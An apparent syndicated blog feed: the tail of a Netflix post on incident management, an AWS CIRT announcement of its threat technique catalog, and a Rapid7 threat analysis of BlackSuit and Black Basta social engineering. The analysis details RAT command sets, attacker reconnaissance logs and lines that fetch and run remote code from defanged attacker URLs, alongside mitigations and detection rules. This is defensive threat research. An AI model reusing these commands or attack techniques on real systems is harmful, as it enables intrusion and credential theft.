Tool usability was crucial to encourage teams to open incidents. It had to be easily understandable, even for engineers who aren’t incident management experts and only use it a few times a year. When introducing Incident.io, we saw rapid organic adoption because the tool was easy to pick up without much guidance. Its intuitive design allowed users to discover features as they used it. Thanks to prioritizing usability, within four months, 20% of engineering teams were using the tooling, and six months later, we had over 50% adoption.

Beyond rapid adoption, the tool helped shift how Netflix engineers think about incidents. Incidents went from “big scary outages” to simply “any blip or issue that degrades or disrupts a service that deserves attention and learning.” The tool’s friendly, welcoming interface made incident management less intimidating and more accessible. Some engineers described the platform as “jolly” and mentioned that it actually made them want to open incidents. The approachable design lowered psychological barriers for engineers to declare incidents and made it feel like a natural, even positive, part of their workflow.

Organizational Investment Supported Scalable Growth

While having an intuitive tool was important, successfully empowering engineers to open incidents required deliberate organizational investment. We invested heavily in standardization, developing an incident management process lightweight enough to avoid overwhelming users yet structured enough to support complex incidents. Finding the right balance took time and active engagement with users to understand what was working and what wasn’t. To this day, we still make adjustments to refine and improve the process.

On the education front, we created lightweight docs, quick-reference cheatsheets, and short demo videos to accelerate adoption across Netflix’s diverse engineering organization. We took these resources on roadshows across engineering teams and proved that the barrier to entry for managing incidents was practically nonexistent. While most engineers bought in easily, we had our skeptics. Over time, we worked with these folks to understand their needs better and help them fit incident management into their daily routines and processes.

Internal Integrations Reduce Cognitive Load

Integrating our unique organizational context — like teams, software services, business domains, and even hardware devices — directly into the incident management platform was critical. Netflix-specific contextualization enables powerful automations, such as automatically looping in the right teams or pre-filling incident fields from alerts. These integrations significantly reduce cognitive load during an incident and empower engineers to focus on quick mitigation. Beyond individual incidents, integrations with internal data across multiple incidents enable us to identify and address systemic issues.

Balanced Customization with Consistency Improved Response

A flexible platform allowed us to create a tailored incident response experience while enforcing a shared language and standard metadata across all engineering teams. This balance proved crucial for response effectiveness: different teams can adapt workflows to their specific needs, but core elements like “impacted areas and domains” stay consistent. Incident responders can quickly understand any incident organization-wide because the structure and language remain familiar, enabling faster, more effective incident response.

The Result: A New Era of Incident Management

Our journey to democratize incident management has yielded massive wins across Netflix Engineering. We successfully transitioned from a centralized incident response model to empowering engineers to declare and manage incidents. The transformation has fostered a culture of renewed ownership and learning across engineering teams.

We’ve established new practices and are growing an incident management culture we’re genuinely proud of, but we’re not done yet. Our incident management processes continue to evolve and adapt to fit Netflix’s growing needs. Every day, we work to educate engineers and leaders on the tremendous value incidents provide. We’re excited to continue harnessing these incredible learning opportunities to improve our platform for our hundreds of millions of members.


Empowering Netflix Engineers with Incident Management was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

AWS CIRT announces the launch of the Threat Technique Catalog for AWS

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/aws-cirt-announces-the-launch-of-the-threat-technique-catalog-for-aws/

Greetings from the AWS Customer Incident Response Team (AWS CIRT). AWS CIRT is a 24/7, specialized global Amazon Web Services (AWS) team that provides support to customers during active security events on the customer side of the AWS Shared Responsibility Model. We’re excited to announce the launch of the Threat Technique Catalog for AWS.

When the AWS CIRT assists customers with incident response during security investigations, we gather AWS service metadata on the types of tactics and techniques that threat actors have used against AWS customers. We use this information to build an internal dataset of indicators of compromise (IOCs) and threat patterns that provides insight into how threat actors are taking advantage of misconfigured AWS resources, overly permissive access, or the methods they use in attempting to achieve their objectives.

We capture this metadata and use it internally to continually improve AWS services to help make them more secure for our customers by making it more difficult for threat actors to perform unauthorized actions. For example, some of the metadata that the AWS CIRT has captured as a result of investigating security events where a threat actor has used the Amazon Bedrock service to consume tokens by invoking large language models (LLMs) has been used to supplement the Amazon GuardDuty IAM Anomalous Behavior finding. Earlier this year, the AWS CIRT identified an increase in data encryption events in Amazon S3 that used an encryption method known as server-side encryption using client-provided keys (SSE-C). AWS CIRT used the Threat Technique Catalog for AWS to classify the new techniques identified in these security events to communicate internally and with other Amazon security teams.

We’ve received feedback from AWS customers that information about the adversarial tactics, techniques, and procedures (TTPs) observed by the AWS CIRT would be valuable and helpful if made available to them, so they could use the information to configure their AWS resources more securely. Over the previous year, we’ve been working with MITRE to make these techniques and sub-techniques available to the global security community. As a result of this collaboration, MITRE has updated and added some of these techniques to MITRE ATT&CK® as part of their October 2024 update cycle (for example, Data Destruction: Lifecycle-Triggered Deletion).

“We greatly appreciated the insight AWS shared with us, and it inspired improvements to a number of techniques in the October release of MITRE ATT&CK. For ATT&CK to keep up with the latest threats, community contributions that benefit the ecosystem are needed, and we value AWS being a part of the ATT&CK community.”
Adam Pennington, project lead, MITRE ATT&CK, MITRE

Companies, entities, and organizations use ATT&CK to help them understand, prioritize and protect against the threats to their on-premises environments, and we believe that taking advantage of an already existing framework to present these adversarial techniques will provide AWS customers and the global security community with the ability to identify and categorize threats on their AWS infrastructure the same way that the AWS CIRT does.

The Threat Technique Catalog for AWS—based on MITRE ATT&CK Cloud—extends these contributions and includes categories of adversarial techniques that are specific to AWS and have been observed by the AWS CIRT; in addition to information on ways to mitigate those techniques and how to detect them. For example, you can go to the Threat Technique Catalog for AWS, filter by the AWS services in your account, and review the content that will help make your environment more secure. The Getting Started section includes additional ways that you can use the Threat Technique Catalog for AWS. We will continue to update and provide additional changes to the Threat Technique Catalog for AWS to help guide you into making your AWS environment more secure and will continue collaborating with MITRE to advise them of new and trending threat actor techniques.

To get started, visit the Threat Technique Catalog for AWS.

© 2025 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

If you have feedback about this post, submit comments in the Comments section below.

Steve de Vera

Steve de Vera

Steve is a manager in the AWS Customer Incident Response Team (CIRT) with a focus on threat research and threat intelligence. He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.

Cydney Stude

Cydney Stude

Cydney is a Security Engineer with the AWS Customer Incident Response Team (CIRT), specializing in incident response and cloud security. Cydney focuses on technical depth and real-world experience handling complex cloud challenges. Outside of work, Cydney enjoys salsa dancing and adventuring with her german shepherd.

Nathan Bates

Nathan Bates

Nathan is a Sr. Security Engineer within Global Services Security. He specializes in data, analytics, and reporting services for vulnerability management, policy compliance, asset assurance, incident response, and threat intelligence. Nathan is passionate about high performance driving, racing cars, playing guitar, and making music.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

Post Syndicated from Tyler McGraw original https://blog.rapid7.com/2025/06/10/blacksuit-continues-social-engineering-attacks-in-wake-of-black-bastas-internal-conflict/

Executive Summary

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 1. Confirmed malicious chat requests, Feb 12 through May 7, as observed by Rapid7.

Overview

The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.

Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository.

If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 3. Fake Quick Assist login page, functions as a credential harvester.

In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 4. One of Black Basta’s operators discusses their strategy regarding remote access tools.

Black Basta had at least one caller template/script for this purpose:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.

Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.

In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.

After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.

Technical Analysis

After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.

Java RAT

A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.

In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.

The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.

The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.

Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.

One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 11. Debug statement output after executing the Java RAT via console.

The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.

After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 12. Example process tree for the Java RAT.

The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.

Otherwise, the content will be executed as a regular PowerShell command.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 14. The default case in the if-else chain executes the command string via PowerShell.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 15. The ‘execute()’ function within the same class executes the command string as a PowerShell command via jPowerShell.

Command Function
send Send a file from the operator’s machine to the infected machine.
recive Upload a file from the infected machine to the relevant cloud drive. The command string includes a typo made by the developer.
extract Extract a specified file archive.
loginform Present a fake login prompt to the user. Entered credentials are validated locally, and if correct, are uploaded to the operator’s machine through the cloud drive. The username must be specified by the operator.
newconfig Replace the existing configuration with one retrieved from Google Sheets.
checkconfig Check Google Sheets using the SSID to see if an update is available.
startsocks5 Initiate a Socks5 proxy tunnel using python.
steal Attempt to decrypt and steal stored browser database information. (e.g., credentials)
screen Given a supplied URL, download and execute a Java class in memory.

Table 1. Command key for the Java RAT.

The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 16. The credential harvesting window used by the Java RAT.

As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.

Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform <username> 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user <username> /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname

Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform <username> 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 <domain_controller_hostname> 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain > c:\users\public\001.txt

In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.

Qemu

In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 17. Evidence left in the .qcow2 image, including a ScreenConnect installer, registry command, and QDoor malware.

Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.

In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 18. The contents of `bootlocal[.]sh within the TinyCore VM`

Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 19. Part of the `.ash_history` command log within the TinyCore VM.

In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 20. The ELF `nossl` begins execution by setting the C2 IPv4 address. Debugging symbols were left inside the file, which shows the original variable names.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 21. The registration string sent by `nossl` to the C2 proxy server from within the TinyCore VM.

As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 22. One of Black Basta’s operators (@tinker) discusses their connection to a member of the BlackSuit ransomware group, with Black Basta’s leader (@usernamegg).

Malware Testing

After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 23. Injection logic implemented by one version of the dynamically loaded Java Screenshot class.

The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 24. Test message box spawned by the Rust executable `testapp.exe`.

The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).

Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt [email protected]: start shellcode done

In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.

Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt [email protected]: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt [email protected]: <redacted_public_ipv4_address_for_compromised_system>

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 25. One version of the Java Screenshot class implements functionality to retrieve the infected host’s external IP address and save it to a file named `info.txt`.

Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.

The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 26. The python RAT source labels the decrypted payload as “Anubis”.

InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py
Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.

Command Function
killexit Immediately terminates the process.
ip Creates a UDP socket targeting Google’s DNS server (8.8.8[.]8) and connects to it to retrieve the machine’s local IP address.
‘cd ‘ Change the working directory to one specified by the C2.
‘gt ‘ Steal a specified file or directory. Reads and sends the content straight to the C2. If the target is a directory, the script will archive it into a zip file first.
‘up ‘ Upload a file sent by the C2, to the infected host, to a specified file path.
env If the C2 specifies a ‘list’ command, the RAT returns all the existing environmental variables. Otherwise returns a specific variable chosen by the C2.
!cf! Create/update a key (named via hard coded string) in the user’s registry using configuration data sent by the C2. Allows for the malware’s configuration to be dynamically updated.
!tcf! Test C2 addresses supplied by the current C2 in a new config, by creating a TCP socket to attempt to connect to the new address(es) supplied. Returns the result to current C2. Doesn’t update the config.
default If one of the above commands is not present, create a child console process (cmd.exe) to execute the contents received from the C2 and return stdout.

Table 2. Command key for the python RAT.

Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\<truncated>. In contrast, updater.exe, the Rust SSH loader previously mentioned, references the user lucak.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 27. A listing of the Downloads directory on an asset within the malware developer’s test lab.

Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

Detections
Suspicious Chat Request – Potential Social Engineering Attempt
Initial Access – Potential Social Engineering Session Initiated Following Chat Request
Attacker Technique – Base64 String Added to HKCU Registry Key
Suspicious Process – LNK Executes PowerShell via JAR
Suspicious Process – QEMU Loads Disk From Staging Directory
Credential Access – Steal or Forge Kerberos tickets
Anomaly Detection – Failed AS-REP Roasting Attack
Non-Approved Application – Remote Management and Monitoring (RMM) Tools

MITRE ATT&CK Techniques

Tactic Technique Procedure
Reconnaissance T1591: Gather Victim Org Information Operators utilize publicly available information to identify target contact details and financial information.
Resource Development T1587.001: Develop Capabilities: Malware The threat actors are actively developing new malware to distribute.
Impact T1498: Network Denial of Service The threat actors overwhelm email protection solutions with spam.
Impact T1486: Data Encrypted for Impact The threat actors historically either deploy ransomware after compromising a network, or sell the access to a ransomware group.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actors call impacted users and pretend to be a member of the target organization’s IT team to gain remote access.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actors decrypt some zip archive payloads with a password, onto infected hosts.
Defense Evasion T1055.002: Process Injection: Portable Executable Injection Some payloads executed by the threat actors utilize local PE injection.
Defense Evasion T1620: Reflective Code Loading Some payloads executed by the threat actors load and execute shellcode.
Credential Access T1649: Steal or Forge Authentication Certificates The threat actors have abused ADCS services to acquire certificates.
Credential Access T1056.001: Input Capture: Keylogging The threat actors run an executable that can harvest the user’s credentials.
Credential Access T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting The threat actors have performed Kerberoasting after gaining initial access.
Credential Access T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting The threat actors have performed AS-REP roasting attacks after gaining initial access.
Discovery T1033: System Owner/User Discovery The threat actors enumerate asset and user information within the environment after gaining access.
Command and Control T1572: Protocol Tunneling The threat actors use SSH reverse tunnels to provide/proxy remote access.
Command and Control T1219: Remote Access Software The threat actors have used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.

Indicators of Compromise

All indicators of compromise are available at the Rapid7 GitHub repository.

Rapid7 Q1 2025 Incident Response Findings

Post Syndicated from Chris Boyd original https://blog.rapid7.com/2025/06/04/rapid7-q1-2025-incident-response-findings/

Rapid7 Q1 2025 Incident Response Findings

